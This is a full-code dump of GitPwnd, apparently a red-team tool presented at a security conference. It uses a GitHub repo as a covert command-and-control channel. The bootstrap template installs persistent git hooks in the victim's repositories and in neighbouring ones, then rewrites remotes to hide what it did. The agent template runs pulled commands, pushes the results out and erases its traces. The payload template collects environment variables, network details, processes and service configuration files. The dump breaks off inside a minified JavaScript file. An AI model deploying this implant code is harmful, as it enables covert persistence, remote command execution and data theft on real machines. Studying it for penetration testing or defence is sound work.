Full Code of nccgroup/gitpwnd for AI

master a47b9ba291c3 cached
29 files
82.0 KB
24.9k tokens
41 symbols
1 requests
Download .txt
Repository: nccgroup/gitpwnd
Branch: master
Commit: a47b9ba291c3
Files: 29
Total size: 82.0 KB

Directory structure:
gitextract_p06zdemw/

├── .gitignore
├── README.md
├── config.yml.example
├── gitpwnd/
│   ├── agent.py.template
│   ├── bootstrap.py.template
│   └── payload.py.template
├── requirements.txt
├── server/
│   ├── README.md
│   ├── gitpwnd/
│   │   ├── __init__.py
│   │   ├── controllers.py
│   │   ├── static/
│   │   │   ├── css/
│   │   │   │   └── prism.css
│   │   │   └── js/
│   │   │       └── prism.js
│   │   ├── templates/
│   │   │   ├── index.html
│   │   │   ├── layout.html
│   │   │   ├── macros.html
│   │   │   ├── nodes.html
│   │   │   └── setup.html
│   │   └── util/
│   │       ├── __init__.py
│   │       ├── crypto_helper.py
│   │       ├── file_helper.py
│   │       ├── git_helper.py
│   │       └── intel_helper.py
│   ├── requirements.txt
│   ├── run_ipython.sh
│   ├── server.py
│   ├── server_creds.yml.template
│   └── tests/
│       ├── sample_intel.json
│       └── test_intel_helper.py
└── setup.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.pyc
.DS_Store
*~

# These are auto-generated from a template
bootstrap.py
homebrew.python.ncc.plist
server_creds.yml

data/
config.yml


================================================
FILE: README.md
================================================
# GitPwnd

GitPwnd is a tool to aid in network penetration tests. GitPwnd allows an
attacker to send commands to compromised machines and receive the results back
using a git repo as the command and control transport layer. By using git as the
communication mechanism, the compromised machines don't need to communicate
directly with your attack server that is likely at a host or IP that's
untrusted by the compromised machine.

Currently GitPwnd assumes that the command and control git repo is hosted on
GitHub, but this is just an implementation detail for the current iteration.
The same technique is equally applicable to any service that can host a git
repo, whether it is BitBucket, Gitlab, etc.

## Setup and Installation

The GitPwnd setup script (`setup.py`) and server (`server/`) were written and
tested using Python3, but Python 2.7 will likely work as well. The bootstrapping process
to set up persistence on compromised machines was tested on Python 2.7.

### Set up GitPwnd
```
# Install Python dependencies
$ pip3 install -r requirements.txt --user

# Set up config
$ cp config.yml.example config.yml
# Configure config.yml with your custom info

# Run the setup script
$ python3 setup.py config.yml
```

### Run the GitPwnd Server

~~~
$ cd server/
$ pip3 install -r requirements.txt --user
$ python3 server.py
~~~

## Contributing

Contributions welcome! Please feel free to file an issue or PR and we'll get
back to you as soon as possible.

## Version Info

### v0.1

* Initial PoC feature-complete for BlackHat USA 2017.

## TODO

* [ ] Write a much more descriptive README


================================================
FILE: config.yml.example
================================================
# This file, if passed as the first argument to `setup.py`, will be used for
# the values for setting up gitpwnd.

# Enter the git clone URL of a popular library in the language used by the
# machine you're targeting.
# e.g. If you're attacking a Ruby on Rails shop, choose a popular gem.
benign_repo: "TODO"

# The personal access token for the primary GitHub account, the one who will own
# the private repo used for command and control
#
# This token needs the following permissions:
#  - The top-level checkbox for "repo"
#  - "gist"
#  - "delete_repo"
#  - "admin:repo_hook"
main_github_token: "TODO"


# The name to use for the private GitHub repo used for command and control.
# Unless you have a specific reason not to, it's probably best to use the
# same name as `benign_repo`.
github_c2_repo_name: "TODO"


# The personal access token for the secondary GitHub account. setup.py will generate
# an SSH key and add it to this account which will then be given to compromised nodes.
# Because of this, ensure that this account has minimal access to sensitive repos.
#
# NOTE:
# - This token needs to have the following permissions:
#   - "admin:public_key" permission so that setup.py can add public keys.
#   - "repo" so that it can access the main repo that has been shared
# - This does not need to be a paid GitHub account. It will be added as a collaborator
#   to the private GitHub account that owns the private command and control repo.
secondary_github_token: ""

# The name of the SSH key generated for the secondary GitHub account
ssh_key_name: "gitpwnd"

# URL to gitpwnd attacker server, must be reachable by GitHub
# e.g. https://<IP> or https://<domain_name>
# NOTE: The server runs by default on port 5000, so include the 
# port the server is running on in the below URL unless you're running
# on 80 or 443.
attacker_server: "TODO"


================================================
FILE: gitpwnd/agent.py.template
================================================
#!/usr/bin/env python

import os
from subprocess import Popen, PIPE
import imp
import uuid
import string

#####################################################################
# These settings need to be customized before the agent is deployed #
#####################################################################

# URL of our backdoored repo
REPO_CLONE_URL = "$repo_clone_url"

# Name to give the remote backdoored repo
REMOTE_REPO_NAME = "$remote_repo_name"

# Master branch for backdoored repo
REMOTE_REPO_MASTER_BRANCH = "$remote_repo_master_branch"

NODE_ID = "$node_id"

RESULTS_FILE = "results.json"

# Runs the passed string as a shell command
def run_command(command):
    print("Running: %s" % command)
    proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)
    (out, err) = proc.communicate()
    print(out, err)
    return out, err

# Adds a new remote to the git repo in the current directory
def add_git_remote(remote_name, git_url):
    cmd = "git remote add %s %s" % (remote_name, git_url)
    run_command(cmd)

def git_checkout_branch(branch_name):
    cmd = "git checkout -b %s" % (branch_name)
    run_command(cmd)

def git_pull(remote_repo_name, remote_repo_master_branch):
    cmd = "git pull %s %s" % (remote_repo_name, remote_repo_master_branch)
    run_command(cmd)

def git_add(files):
    cmd = "git add %s" % (files)
    run_command(cmd)

def git_commit(message):
    cmd = "git commit -m '%s'" % (message)
    run_command(cmd)

def git_push(remote_name, branch_name):
    cmd = "git push %s %s" % (remote_name, branch_name)
    run_command(cmd)

# TODO: finish me
# Eventually this will look at who the current node is and see what commands they should run
def should_run_commands(repo_dir):
    return True

# Load payload.py and run the commands it contains
def run_payload(repo_dir):
    # the backdoored repo isn't on our path so load it's source directly so we can use it
    payload_module = imp.load_source('payload', os.path.join(repo_dir, 'payload.py'))

    payload = payload_module.Payload(NODE_ID)
    payload.run()
    payload.save_results()
    return payload

def get_commit_info():
    # TODO: eventually grab prior commit messages and use those or do some other
    # steps to make it look legit. For now just return mostly hardcoded values.
    return NODE_ID, "Make errors reported more clear"

# Current state of the repo:
# - Our backdoored repo has been added as a remote, named `remote_repo_name`
# - We have an additional local branch we've saved command output into
#
# We want to get rid of all these things so that we're left with only the benign
# remote and default master they'd see on GitHub/whatever.
def hide_git_tracks(remote_repo_name, commit_branch):
    run_command("git checkout -b tmp")

    run_command("git branch -d %s" % commit_branch) # delete the new branch we created
    run_command("git branch -D master") # delete master in case commits from our backdoored repo have mingled
    run_command("git remote remove %s" % remote_repo_name) # remove backdoored remote

    run_command("git pull origin master") # get benign repo latest
    run_command("git checkout master")

    run_command("git branch -D tmp")

# NOTE: this assumes we're in .git/hooks, or at least appends "../../" to __file__
def get_current_repo_root():
    cur_file = os.path.dirname(os.path.realpath(__file__))
    return os.path.abspath(os.path.join(cur_file, "..", ".."))

def rewrite_script_add_node_id(path_to_this_script, node_id):
    print("[*] Rewriting node_id")
    with open(path_to_this_script, 'r') as f:
        templatized_this_file = string.Template(f.read())

    replaced_contents = templatized_this_file.safe_substitute({"node_id": node_id})

    with open(path_to_this_script, 'w') as f:
        f.write(replaced_contents)
        f.flush()

def main(repo_dir, private_git_url, remote_repo_name, remote_repo_master_branch):
    path_to_this_script = os.path.abspath(__file__)
    # cd to REPO_DIR
    os.chdir(repo_dir)

    # Add the remote that will have commands for us
    add_git_remote(remote_repo_name, private_git_url)

    # checkout master of this new remote
    git_checkout_branch(remote_repo_name + "/" + remote_repo_master_branch)

    # If you wish to set tracking information for this branch you can do so with:
    # git branch --set-upstream-to=<remote>/<branch> master

    # git pull
    git_pull(remote_repo_name, remote_repo_master_branch)

    # determine if you should run the commands
    if should_run_commands(repo_dir):

        commit_branch, commit_message = get_commit_info()

        # Generate node ID if we haven't already
        if commit_branch == "$node" + "_id": # have to break it up else this comparison will also get rewritten
            node_id = str(uuid.uuid4())
            rewrite_script_add_node_id(path_to_this_script, node_id)
            commit_branch = node_id

        git_checkout_branch(commit_branch)

        # grab further changes server-side from the last time we pushed
        git_pull(remote_repo_name, commit_branch)

        # run the commands and save the results to file
        payload_obj = run_payload(repo_dir)

        # commit the results
        # the branch we'll commit this node's info to to push to the server
        git_add(RESULTS_FILE)

        # Git doesn't let you commit if you don't set user.name and user.email
        need_to_reset_git_info = False
        if git_commit_info_is_unset():
            need_to_reset_git_info = True
            set_git_commit_info("Gitpwnd", "gitpwnd@nccgroup.trust")

        git_commit(commit_message)

        # push results
        git_push(remote_repo_name, commit_branch)

        # Clean up locally
        if need_to_reset_git_info:
            remove_git_commit_info()

        hide_git_tracks(remote_repo_name, commit_branch)
    else:
        print("[*] Skipping these commands, they're not for this node")

    run_command("git branch -D %s" % (remote_repo_name + "/" + remote_repo_master_branch))

# Is git's user.name or user.email unset?
def git_commit_info_is_unset():
    return_codes = []
    for field in ["name", "email"]:
        out = subprocess.Popen("git config --get user.%s" % (field), stdout=subprocess.PIPE, shell=True)
        _ = out.communicate()[0]
        return_codes.append(out.returncode)

    # If either one didn't return a value, say that git info is unset
    if return_codes.count(0) != 2:
        return True
    return False

# Unsets the git user.name and user.email
def remove_git_commit_info():
    run_command("git config --unset user.name")
    run_command("git config --unset user.email")

# Sets git's user.name and user.email to provided values
def set_git_commit_info(username, email):
    run_command("git config user.name %s" % username)
    run_command("git config user.email %s" % email)


# This agent file has been placed in a hook file in the command and control
# repo and is called by git hooks in other repos.
if __name__ == "__main__":
    repo_dir = get_current_repo_root()
    main(repo_dir, REPO_CLONE_URL, REMOTE_REPO_NAME, REMOTE_REPO_MASTER_BRANCH)


================================================
FILE: gitpwnd/bootstrap.py.template
================================================
# This will be hosted in a private GitHub gist and piped into eval()
# on a compromised node.
#
# It performs the following tasks:
# 1. Finds where on the OS python libraries are stored.
# 2. Clones the command and control repo there.
# 3. Installs a git hook into the backdoored repo so that whenever a git command is ran,
#    new commands are pulled and their results pushed to the server.
#    - The primary code that does this is placed in a git hook in the command
#      and control repo.
#
# This repo includes a GitHub personal access token for the secondary account
# so that it can receive commands and push results from the GitHub C2 repo.


# This is the first thing ran on the victim computer after the backdoored
# repo has been cloned. This file will be at the root of the repo

import plistlib # builtin on OS X on Python 2.7
import glob
import sys
import shutil
import os
import subprocess
import time
import string
import site

PUBLIC_GIT_URL = "$benign_repo"
REPO_DIR_NAME = "$github_c2_repo_name"

# The git clone URL for the command and control repo. Note that the secondary
# user's personal access token is included in the URL so that this new machine
# can clone and push to it.
REPO_CLONE_URL = "$repo_clone_url"

HOOK_TYPES = ["pre-push", "post-merge", "pre-commit"]
DEFAULT_AGENT_HOOK = "post-merge.sample"

def install_agent(c2_repo_base_dir, agent_code, hook_type):
    # http://githooks.com/
    # post-merge hook is called whenever `git pull` is ran.
    # https://github.com/git/git/blob/master/Documentation/githooks.txt#L178
    agent_file = os.path.join(c2_repo_base_dir, ".git", "hooks", hook_type)

    with open(agent_file, "w") as f:
        f.write(agent_code)

    return agent_file

# Undo any local changes that make us differ from master
# Local changes can make mucking with branches difficult, see bootstrap_osx() for more details
def undo_local_changes():
    try:
        subprocess.check_output("git checkout -- *", shell=True)
    except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code
        print("[!] Undoing local changes failed")
        return False

    return True

# When this bootstrap script is ran, origin points to our backdoored repo.
# This method makes origin point to the official benign repo, covering our tracks.
def make_remote_benign(c2_repo_dir, benign_git_url):
    orig_dir = os.path.abspath(os.curdir)

    try:
        os.chdir(c2_repo_dir)
        subprocess.check_output("git remote remove origin", shell=True)
        subprocess.check_output("git remote add origin " + benign_git_url, shell=True)

        # OK, now we need to cover our tracks - we've added the backdoor code in
        # additional commits past the benign repo's master. If we just tried to use
        # their master directly it wouldn't delete our additional commits. So instead we:
        # - Change to a temporary branch so we can delete master
        # - Grab their master branch and set it to ours
        # - Delete the temporary branch

        # git checkout -b tmp
        subprocess.check_output("git checkout -b tmp", shell=True)

        # git branch -d master
        subprocess.check_output("git branch -d master", shell=True)

        # git pull origin master
        subprocess.check_output("git pull origin master", shell=True)

        # git checkout master
        subprocess.check_output("git checkout master", shell=True)

        # git branch -d tmp
        subprocess.check_output("git branch -D tmp", shell=True)

    except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code
        print("[!] Changing the `origin` remote failed")
        return False

    finally:
        os.chdir(orig_dir)

def find_base_repo_dir():
    return site.USER_SITE # default package location for pip install --user
    # ~/Library/Python/<python_version>/lib/python/site-packages/ on OS X
    # ~/.local/lib/python<python_version>/site-packages on Ubuntu

def find_final_repo_location():
    install_dir = find_base_repo_dir()
    if not os.path.exists(install_dir):
        os.makedirs(install_dir)

    # the directory we're going to clone the command and control repo to
    final_repo_location = os.path.join(install_dir, REPO_DIR_NAME)
    if os.path.exists(final_repo_location):
        if is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):
            return False, final_repo_location # don't need to do anything, already installed
        else:
            final_repo_location += "-dev"
            if os.path.exists(final_repo_location) and is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK):
                    return False, final_repo_location

    return True, final_repo_location


# Checks if `dir_path` is the root of our command and control repo
def is_our_c2_repo(dir_path, hook_type):
    agent_string = "hide_git_tracks" # arbitrary string that's unlikely to appear in not our hook

    agent_file = os.path.join(dir_path, ".git", "hooks", hook_type)
    if not os.path.isfile(agent_file):
        return False

    file_contents = open(agent_file, 'r').read()
    if agent_string in file_contents:
        return True

    return False

# Returns the contents of what should be placed in the agent file
def get_agent_code(c2_base_dir):
    # assume the agent file is agent.py in the root of the c2 repo
    agent_file_path = os.path.join(c2_base_dir, "agent.py")

    return open(agent_file_path, "r").read()

# Run the agent in the command and control repo, which is responsible for
# pulling new commands, running them, commiting the results, and pushing them
# back to be received by the attacker server
def run_agent(agent_path):
    subprocess.check_output(agent_path, shell=True)

# Returns the contents that are going to be written to git hooks in the targeted
# and other git repos on the victim machine
def get_hook_contents(agent_file_path):
    return """#!/bin/bash
%s &
""" % agent_file_path

def install_git_hook(git_repo_root_dir, hook_contents, hook_type):
    hook_file = os.path.join(git_repo_root_dir, ".git", "hooks", hook_type)

    with open(hook_file, "w") as f:
        f.write(hook_contents)

    subprocess.check_output("chmod u+x %s" % hook_file, shell=True)

# Returns the absolute path to this base of this repo
def find_root_of_git_repo(path):
    cur_dir = path
    while True:
        cur_dir = os.path.abspath(cur_dir)

        if cur_dir == "/":
            return None

        if os.path.isdir(os.path.join(cur_dir, ".git")):
            return cur_dir
        else:
            cur_dir = os.path.join(cur_dir, "..")

def is_git_directory(path):
    exit_code = subprocess.call(["git", "status"], cwd=path, stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT)
    return (exit_code == 0)

def find_git_repos(base_dir):
    git_repos = []
    for directory in next(os.walk(base_dir))[1]:
        full_path = os.path.abspath(directory)
        if is_git_directory(full_path):
            git_repos.append(full_path)
    return git_repos

# Wrapper for bootstrapping that does different things based on platform
def bootstrap():
    need_to_clone_repo, install_dir = find_final_repo_location()
    if not need_to_clone_repo:
        print("[!] Backdoor repo already installed in: %s" % install_dir)
    else:
        if not os.path.exists(install_dir):
            os.makedirs(install_dir)

        print(install_dir)
        subprocess.check_output("git clone %s %s" % (REPO_CLONE_URL, install_dir), shell=True)

    # Install agent code in cloned command and control repo
    agent_file_path = install_agent(install_dir, get_agent_code(install_dir), "post-merge.sample")
    print("[*] Installing agent to: %s" % agent_file_path)

    # chmod the agent so it's executable
    subprocess.check_output("chmod u+x %s" % agent_file_path, shell=True)

    run_agent(agent_file_path)

    hook_types = HOOK_TYPES
    cur_dir_root = find_root_of_git_repo(".")
    if cur_dir_root == "/":
        print("[!] Didn't find a git repo in this or parent directories until /")
    else:
        print("[*] Installing git hooks to: %s" % cur_dir_root)

        for hook in hook_types:
            install_git_hook(cur_dir_root, get_hook_contents(agent_file_path), hook)

        other_git_repos = find_git_repos(os.path.join(cur_dir_root, ".."))
        other_git_repos = [x for x in other_git_repos if x != cur_dir_root] # don't install where we already have
        for repo in other_git_repos:
            for hook in hook_types:
                install_git_hook(repo, get_hook_contents(agent_file_path), hook)

    # # Remove the backdoored git repo, set the public benign one to origin
    make_remote_benign(install_dir, PUBLIC_GIT_URL)

if __name__ == "__main__":
    bootstrap()


================================================
FILE: gitpwnd/payload.py.template
================================================
import sys
import os
import json
from subprocess import Popen, PIPE
import uuid
import datetime
import pwd

class Payload:

    #############################
    ## Core required functions ##
    #############################

    def __init__(self, node_id):
        self.results = {}
        self.node_id = node_id

    # This is the main() method that's called by compromised machines
    # Gather info/run commands and store the results in self.results
    def run(self):
        self.results["username"]    = self.get_username()
        self.results["whoami"]      = self.get_whoami()
        self.results["mac_address"] = self.get_mac_address()
        self.results["env"]         = self.get_env()
        self.results["ifconfig"]    = self.get_ifconfig()
        self.results["ps_services"] = self.get_services()

        self.results["node_id"] = self.get_node_id()
        self.results["python_version"] = self.get_python_version()
        self.results["service_configs"] = self.get_service_configs()
        self.results["time_ran"] = self.get_time_ran()


    # This is called after run() as the final step in the payload, saving the results
    # to a file.
    # - agent.py handles committing and pushing the results.
    def save_results(self, filename = "results.json"):
        with open(filename, 'w') as f:
            json.dump(self.results, f)


    #############
    ## Helpers ##
    #############

    # Runs the passed string as a shell command
    def run_command(self, command):
        print("[*] running: %s" % command)
        try:
            proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True)
            (out, err) = proc.communicate()
            return {"stdout": out, "stderr": err}
        except:
            return {"stdout": "", "stderr": "Command threw an exception"}


    #################################################################
    # Below are various helper functions to gather environment info #
    #################################################################

    def get_python_version(self):
        print("[*] get_python_version")
        x = sys.version_info
        return {"major": x.major, "minor": x.minor, "micro": x.micro,
                "releaselevel": x.releaselevel}

    def get_env(self):
        return dict(os.environ) # dumping this to JSON fails unless you explicitly cast it to a dict

    def get_username(self):
        try:
            # apparently os.getlogin() is known to fail. Good job.
            # https://stackoverflow.com/questions/3100750/running-command-in-background
#            return os.getlogin()
            return pwd.getpwuid(os.geteuid()).pw_name
        except:
            return "os.getlogin() failed"

    def get_whoami(self):
    	return self.run_command("whoami")["stdout"].strip()

    def get_ifconfig(self):
        return self.run_command("ifconfig")

    #############################################################################
    #Payloads for Linux Priv Esc tasks                                          #
    #Credit : https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/#
    #############################################################################

    # Get running services
    def get_services(self):
        return self.run_command("ps aux")

    #Misconfigured Services and vuln plugins
    def get_service_configs(self):
        return {
            "syslog": self.run_command("cat /etc/syslog.conf"),
            "chttp": self.run_command("cat /etc/chttp.conf"),
            "lighthttpd": self.run_command("cat /etc/lighttpd.conf"),
            "cupsd": self.run_command("cat /etc/cups/cupsd.conf"),
            "inetd": self.run_command("cat /etc/inetd.conf"),
            "my": self.run_command("cat /etc/my.conf"),
            "httpd": self.run_command("cat /etc/httpd/conf/httpd.conf"),
            "httpd_opt": self.run_command("cat /opt/lampp/etc/httpd.conf")
        }

    # http://stackoverflow.com/questions/159137/getting-mac-address
    def get_mac_address(self):
        mac_addr = uuid.getnode()
        if mac_addr == uuid.getnode(): # apparently sometimes it'll lie, see the stack overflow link
            return ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2))
        else:
            "maybewrong " + ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2))

    def get_time_ran(self):
        return str(datetime.datetime.now())

    def get_node_id(self):
        return self.node_id


================================================
FILE: requirements.txt
================================================
PyGithub
pyyaml
ipdb


================================================
FILE: server/README.md
================================================
# GitPwnd Server

The GitPwnd server listens for webhook pushes from GitHub (currently) or other
git providers that occur when a `git push` has occurred to the command and
control git repo set up by `../setup.py`.

It then automatically extracts the output of the commands run by the
compromised machine and stores them locally.

The web interface then allows you to view the extracted information.

## Getting Set Up

~~~
$ pip install -r requirements.txt --user

# or use virtualenv, etc
~~~

## Running

~~~
$ python3 server.py
~~~

## Routes

Quick notes on important routes:

* POST `/api/repo_push` - hook you set up in GitLab/GitHub/etc for the backdoored repo that sends a push whenever the repo is pushed to.
  * [GitHub docs](https://developer.github.com/webhooks/)
  * [Gitlab docs](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/integrations/webhooks.md) - will integrate in the future.



================================================
FILE: server/gitpwnd/__init__.py
================================================
from flask import Flask
from gitpwnd.util.file_helper import FileHelper
from flask_basicauth import BasicAuth
import yaml
import os
import ipdb

app = Flask(__name__)

# Parse basic auth creds from file
with open("server_creds.yml", 'r') as f:
    server_config = yaml.load(f)

app.config['BASIC_AUTH_USERNAME'] = server_config["basic_auth_username"]
app.config['BASIC_AUTH_PASSWORD'] = server_config["basic_auth_password"]
app.config['HOOK_SECRET'] = server_config["hook_secret"]

# TODO: fix the naming confusion. This is the path to a local version of the repo
# we're using for command and control
app.config["BACKDOORED_REPOS_PATH"] = os.path.dirname(server_config["benign_repo_path"])

app.config["APP_ROOT"] = os.path.dirname(os.path.abspath(__file__))

app.config["INTEL_ROOT"] = os.path.join(app.config["BACKDOORED_REPOS_PATH"], "..", "intel")
app.config["INTEL_ROOT"] = os.path.abspath(app.config["INTEL_ROOT"])

basic_auth = BasicAuth(app)

# Ensure some directories we'll be storing important things in are created
FileHelper.ensure_directory(app.config["BACKDOORED_REPOS_PATH"])
FileHelper.ensure_directory(app.config["INTEL_ROOT"])

from gitpwnd import controllers


================================================
FILE: server/gitpwnd/controllers.py
================================================
from flask import Flask
from flask import render_template
from flask import redirect
from flask import url_for
from flask import request, session, send_file, send_from_directory
from flask import make_response # for setting cookies
import flask
import ipdb
import json

from functools import wraps

from gitpwnd import app, basic_auth
from gitpwnd.util.git_helper import GitHelper
from gitpwnd.util.file_helper import FileHelper
from gitpwnd.util.intel_helper import IntelHelper
from gitpwnd.util.crypto_helper import CryptoHelper

# Basic auth adapted from the following didn't quite do what I wanted
# http://flask.pocoo.org/snippets/8/

# Instead used:
# https://flask-basicauth.readthedocs.io/en/latest/

##########
# Routes #
##########

@app.route("/")
@basic_auth.required
def index():
    return render_template("index.html")

@app.route("/setup")
@basic_auth.required
def setup():
    return render_template("setup.html")

@app.route("/nodes")
@basic_auth.required
def nodes():
    intel_results = IntelHelper.parse_all_intel_files(app.config["INTEL_ROOT"])
    if len(intel_results) == 0:
        return render_template("nodes.html", intel=intel_results)
    else:
        intel_results = IntelHelper.json_prettyprint_intel(intel_results)
        return render_template("nodes.html", intel=intel_results)

##############
# API Routes #
##############

@app.route("/api/repo/receive_branch", methods=["POST"])
def receive_branch():
    payload = request.get_json()
    secret = request.headers["X-Hub-Signature"]

    if not CryptoHelper.verify_signature(payload, secret):
        abort(500, {"message": "Signatures didn't match!"})

    repo_name = payload["repository"]["name"]
    branch = payload["ref"].split("/")[-1]
    GitHelper.import_intel_from_branch(repo_name, branch, app.config["BACKDOORED_REPOS_PATH"], app.config["INTEL_ROOT"])
    return "OK"


================================================
FILE: server/gitpwnd/static/css/prism.css
================================================
/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */
/**
 * prism.js default theme for JavaScript, CSS and HTML
 * Based on dabblet (http://dabblet.com)
 * @author Lea Verou
 */

code[class*="language-"],
pre[class*="language-"] {
	color: black;
	background: none;
	text-shadow: 0 1px white;
	font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace;
	text-align: left;
	white-space: pre;
	word-spacing: normal;
	word-break: normal;
	word-wrap: normal;
	line-height: 1.5;

	-moz-tab-size: 4;
	-o-tab-size: 4;
	tab-size: 4;

	-webkit-hyphens: none;
	-moz-hyphens: none;
	-ms-hyphens: none;
	hyphens: none;
}

pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection,
code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection {
	text-shadow: none;
	background: #b3d4fc;
}

pre[class*="language-"]::selection, pre[class*="language-"] ::selection,
code[class*="language-"]::selection, code[class*="language-"] ::selection {
	text-shadow: none;
	background: #b3d4fc;
}

@media print {
	code[class*="language-"],
	pre[class*="language-"] {
		text-shadow: none;
	}
}

/* Code blocks */
pre[class*="language-"] {
	padding: 1em;
	margin: .5em 0;
	overflow: auto;
}

:not(pre) > code[class*="language-"],
pre[class*="language-"] {
	background: #f5f2f0;
}

/* Inline code */
:not(pre) > code[class*="language-"] {
	padding: .1em;
	border-radius: .3em;
	white-space: normal;
}

.token.comment,
.token.prolog,
.token.doctype,
.token.cdata {
	color: slategray;
}

.token.punctuation {
	color: #999;
}

.namespace {
	opacity: .7;
}

.token.property,
.token.tag,
.token.boolean,
.token.number,
.token.constant,
.token.symbol,
.token.deleted {
	color: #905;
}

.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
	color: #690;
}

.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
	color: #a67f59;
	background: hsla(0, 0%, 100%, .5);
}

.token.atrule,
.token.attr-value,
.token.keyword {
	color: #07a;
}

.token.function {
	color: #DD4A68;
}

.token.regex,
.token.important,
.token.variable {
	color: #e90;
}

.token.important,
.token.bold {
	font-weight: bold;
}
.token.italic {
	font-style: italic;
}

.token.entity {
	cursor: help;
}



================================================
FILE: server/gitpwnd/static/js/prism.js
================================================
/* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */
var _self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\blang(?:uage)?-(\w+)\b/i,t=0,n=_self.Prism={manual:_self.Prism&&_self.Prism.manual,util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):"Array"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/\u00a0/g," ")},type:function(e){return Object.prototype.toString.call(e).match(/\[object (\w+)\]/)[1]},objId:function(e){return e.__id||Object.defineProperty(e,"__id",{value:++t}),e.__id},clone:function(e){var t=n.util.type(e);switch(t){case"Object":var a={};for(var r in e)e.hasOwnProperty(r)&&(a[r]=n.util.clone(e[r]));return a;case"Array":return e.map&&e.map(function(e){return n.util.clone(e)})}return e}},languages:{extend:function(e,t){var a=n.util.clone(n.languages[e]);for(var r in t)a[r]=t[r];return a},insertBefore:function(e,t,a,r){r=r||n.languages;var l=r[e];if(2==arguments.length){a=arguments[1];for(var i in a)a.hasOwnProperty(i)&&(l[i]=a[i]);return l}var o={};for(var s in l)if(l.hasOwnProperty(s)){if(s==t)for(var i in a)a.hasOwnProperty(i)&&(o[i]=a[i]);o[s]=l[s]}return n.languages.DFS(n.languages,function(t,n){n===r[e]&&t!=e&&(this[t]=o)}),r[e]=o},DFS:function(e,t,a,r){r=r||{};for(var l in e)e.hasOwnProperty(l)&&(t.call(e,l,e[l],a||l),"Object"!==n.util.type(e[l])||r[n.util.objId(e[l])]?"Array"!==n.util.type(e[l])||r[n.util.objId(e[l])]||(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,l,r)):(r[n.util.objId(e[l])]=!0,n.languages.DFS(e[l],t,null,r)))}},plugins:{},highlightAll:function(e,t){var a={callback:t,selector:'code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code'};n.hooks.run("before-highlightall",a);for(var r,l=a.elements||document.querySelectorAll(a.selector),i=0;r=l[i++];)n.highlightElement(r,e===!0,a.callback)},highlightElement:function(t,a,r){for(var l,i,o=t;o&&!e.test(o.className);)o=o.parentNode;o&&(l=(o.className.match(e)||[,""])[1].toLowerCase(),i=n.languages[l]),t.className=t.className.replace(e,"").replace(/\s+/g," ")+" language-"+l,o=t.parentNode,/pre/i.test(o.nodeName)&&(o.className=o.className.replace(e,"").replace(/\s+/g," ")+" language-"+l);var s=t.textContent,u={element:t,language:l,grammar:i,code:s};if(n.hooks.run("before-sanity-check",u),!u.code||!u.grammar)return u.code&&(u.element.textContent=u.code),n.hooks.run("complete",u),void 0;if(n.hooks.run("before-highlight",u),a&&_self.Worker){var g=new Worker(n.filename);g.onmessage=function(e){u.highlightedCode=e.data,n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,r&&r.call(u.element),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},g.postMessage(JSON.stringify({language:u.language,code:u.code,immediateClose:!0}))}else u.highlightedCode=n.highlight(u.code,u.grammar,u.language),n.hooks.run("before-insert",u),u.element.innerHTML=u.highlightedCode,r&&r.call(t),n.hooks.run("after-highlight",u),n.hooks.run("complete",u)},highlight:function(e,t,r){var l=n.tokenize(e,t);return a.stringify(n.util.encode(l),r)},tokenize:function(e,t){var a=n.Token,r=[e],l=t.rest;if(l){for(var i in l)t[i]=l[i];delete t.rest}e:for(var i in t)if(t.hasOwnProperty(i)&&t[i]){var o=t[i];o="Array"===n.util.type(o)?o:[o];for(var s=0;s<o.length;++s){var u=o[s],g=u.inside,c=!!u.lookbehind,h=!!u.greedy,f=0,d=u.alias;if(h&&!u.pattern.global){var p=u.pattern.toString().match(/[imuy]*$/)[0];u.pattern=RegExp(u.pattern.source,p+"g")}u=u.pattern||u;for(var m=0,y=0;m<r.length;y+=r[m].length,++m){var v=r[m];if(r.length>e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,P=m,A=y,j=r.length;j>P&&_>A;++P)A+=r[P].length,w>=A&&(++m,y=A);if(r[m]instanceof a||r[P-1].greedy)continue;k=P-m,v=e.slice(y,A),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(i,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var 